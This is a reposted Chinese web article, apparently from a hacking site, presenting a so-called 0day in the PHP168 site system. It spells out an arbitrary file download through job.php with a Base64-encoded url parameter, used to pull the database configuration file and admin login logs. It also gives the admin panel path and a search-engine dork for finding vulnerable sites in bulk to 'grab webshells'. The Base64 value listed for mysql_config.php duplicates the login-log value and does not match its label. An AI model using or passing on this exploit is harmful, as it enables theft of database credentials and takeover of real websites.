當前位置：首頁 > 编程语言 > php >内容正文

php

php168站内统计,PHP168整站系统0DAY

發(fā)布時間：2025/6/15 php 39 豆豆

生活随笔收集整理的這篇文章主要介紹了 php168站内统计,PHP168整站系统0DAY 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

先說明下是這個漏洞是在其他地方看到的，只是他沒有說的很清楚，好多菜菜都不明白，我就拿這發(fā)我的第一個貼吧！

這個漏洞其實就是利用了程序的編碼漏洞，下載配置和登陸日志文件，以下是利用方法。

下載 mysql_config.php 和 adminlogin_logs.php 兩個文件到本地。

http://dabei.org//job.php?job=download&url="aHR0cDovL2RhYmVpLm9yZy8vY2FjaGUvYWRtaW5sb2dpbl9sb2dzLnBocA=="

程序后臺：

http://dabei.org/admin/index.php?iframe=1

Base64加密代碼：

http://dabei.org//cache/adminlogin_logs.php == "aHR0cDovL2RhYmVpLm9yZy8vY2FjaGUvYWRtaW5sb2dpbl9sb2dzLnBocA=="

(引號里面的是Base64加密后的)

http://dabei.org//php168/mysql_config.php == "aHR0cDovL2RhYmVpLm9yZy8vY2FjaGUvYWRtaW5sb2dpbl9sb2dzLnBocA=="

(引號里面的是Base64加密后的)

批量抓webshell：

google,baidu 輸入關(guān)鍵字：Powered by PHP168

From: http://www.hack58.net/Article/html/3/62/2008/20875.htm

以上是生活随笔為你收集整理的php168站内统计,PHP168整站系统0DAY的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。